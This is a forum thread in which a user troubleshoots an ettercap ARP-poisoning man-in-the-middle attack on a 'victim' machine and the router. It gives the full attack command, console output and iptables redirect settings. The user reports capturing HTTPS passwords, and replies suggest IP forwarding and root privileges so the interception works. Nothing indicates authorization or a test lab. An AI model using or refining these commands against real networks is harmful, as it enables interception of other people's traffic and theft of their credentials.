Try: sudo echo 1 > /proc/sys/net/ipv4/ip_forward
Hi !
I'm on Ubuntu 9.10, using parralels desktop. Network card : TP-Link 54Mbps / TL-WN321G
I have a problem with ettercap.
When I launch : sudo ettercap -T -Q -M arp:remote*-i wlan0 /192.168.0.100/ /192.168.0.100/ -P remote_browser
it comes :
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on wlan0... (Ethernet)
wlan0 -> 00:21:27:CD:BB:B7 192.168.0.103 255.255.255.0
Privileges dropped to UID 65534 GID 65534...
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Scanning for merged targets (2 hosts)...
* |================================================= =>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.0.100 00:23:6C:84:C8:4F
GROUP 2 : 192.168.0.1 00:1C:10:3B:84:50
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help
Activating remote_browser plugin...
Than, the victim have no access to internet...
and a few minutes later :
ERROR : 11, Resource temporarily unavailable
[ec_threads.c:ec_thread_new:203]
not enough resources to create a new thread in this process
iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.4: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
ip_forwarding was disabled, but we cannot re-enable it now.
remember to re-enable it manually
And the victim can go on internet
I don't know why.
Before launch ettercap, i did :sysctl -w net.ipv4.ip_forward=1
And :kate /etc/etter.conf and changed :
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
Do you know what's wrong ?
Thanks !!
Try: sudo echo 1 > /proc/sys/net/ipv4/ip_forward
Try to change UID and GID to 0 in the etter.conf since you enable the iptable in the etter.conf
Hi !
Thanks for your answers !
I tried : sudo echo 1 > /proc/sys/net/ipv4/ip_forward
But still doesn't work. Victim can't go on internet.
How do I change UID and GID to 0 ?
Hi !
I tried sudo echo 1 > /proc/sys/net/ipv4/ip_forward, but doesn't work. Victim still can't go on internet.
And I tried on Backtrack 4. I can get https passwords but not http passwords. And when I close ettercap ... same thing :
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
iptables v1.4.0: can't initialize iptables table `nat': Permission denied (you must be root)
Perhaps iptables or your kernel needs to be upgraded.
ip_forwarding was disabled, but we cannot re-enable it now.
remember to re-enable it manually
Do you know why ? I do something wrong ?